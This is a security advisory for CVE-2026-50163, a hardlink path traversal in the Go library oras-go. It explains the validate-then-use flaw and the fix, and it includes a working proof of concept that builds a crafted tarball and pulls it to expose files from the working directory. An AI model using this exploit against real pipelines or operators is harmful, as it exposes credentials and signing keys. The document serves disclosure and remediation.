high · 7.1CVE-2026-50163Jul 1, 2026

CVE-2026-50163: oras-go Hardlink Path Traversal via CWD Resolution

Rohit Hatagale
AI Security Researcher, SecureLayer7

A crafted OCI artifact with a tar hardlink entry pointing to a relative path can trick oras-go into linking files outside the extraction directory, exposing arbitrary files in the caller's working…

Packageoras.land/oras-go/v2
Ecosystemgo
Affected<= 2.6.1

The problem

The tar extraction helper ensureLinkPath in content/file/utils.go validates a hardlink target by resolving it relative to the link's parent directory, but then returns the original unresolved string to the caller.

The caller passes that raw relative string to os.Link, which hands it to the link(2) syscall. The kernel resolves the relative path against the process's current working directory, not the extract base. Any file the invoker owns in the CWD becomes reachable.

In CI pipelines and Kubernetes operators, that includes .env files, cloud credentials, and signing keys.

Proof of concept

A working proof-of-concept for CVE-2026-50163 in oras.land/oras-go/v2, with the exact payload below.

bash
# 1. Create a victim file in the process CWD
mkdir -p cwd-space extract
echo "TOP SECRET FROM CWD" > cwd-space/victim.secret

# 2. Build a malicious tarball with a TypeLink entry whose Linkname is RELATIVE
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
    info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
    c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
    info.uid = os.getuid(); info.gid = os.getgid()
    t.addfile(info, io.BytesIO(c))

    link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
    link.type = tarfile.LNKTYPE
    link.linkname = "victim.secret"   # RELATIVE -- resolved vs CWD at link(2) time
    link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
    t.addfile(link)
'

# 3. Push to OCI layout, add unpack annotation, then pull from cwd-space/
(cd cwd-space && oras push --oci-layout ../layout:v1 \
    payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)
# Patch layout/blobs/sha256/<manifest> to add:
#   "annotations": {"io.deis.oras.content.unpack": "true"} on layers[0]
(cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract)

# 4. Confirm inode sharing (same inode = hardlink escape confirmed)
stat -c '%i' extract/payload.tar.gz/evil_cwd_link
stat -c '%i' cwd-space/victim.secret
cat  extract/payload.tar.gz/evil_cwd_link   # prints: TOP SECRET FROM CWD

Root cause is a validate-then-use mismatch (CWE-22 / CWE-59). ensureLinkPath resolves the relative Linkname as filepath.Join(filepath.Dir(link), target) for validation, confirming it stays inside the extract base. But it returns the original target string, not the resolved path. os.Link(target, filePath) then calls link(2) with that relative string, and the kernel resolves it against the process CWD.

The patch at commit b11f777f8d405c5023c4b307cfdc5068dfc3d406 fixes this by making ensureLinkPath return the fully-resolved absolute path for the TypeLink case, so os.Link receives the absolute path and CWD is never consulted. The symlink path is unchanged because os.Symlink stores the target string verbatim without CWD resolution.

The fix

Upgrade to oras.land/oras-go/v2 v2.6.2 or later (patch commit b11f777f8d405c5023c4b307cfdc5068dfc3d406). No configuration workaround exists for earlier versions. If immediate upgrade is not possible, avoid pulling OCI artifacts from untrusted registries using content/file with the io.deis.oras.content.unpack annotation enabled.

Reporter not attributed.

References: [1][2][3]

Related research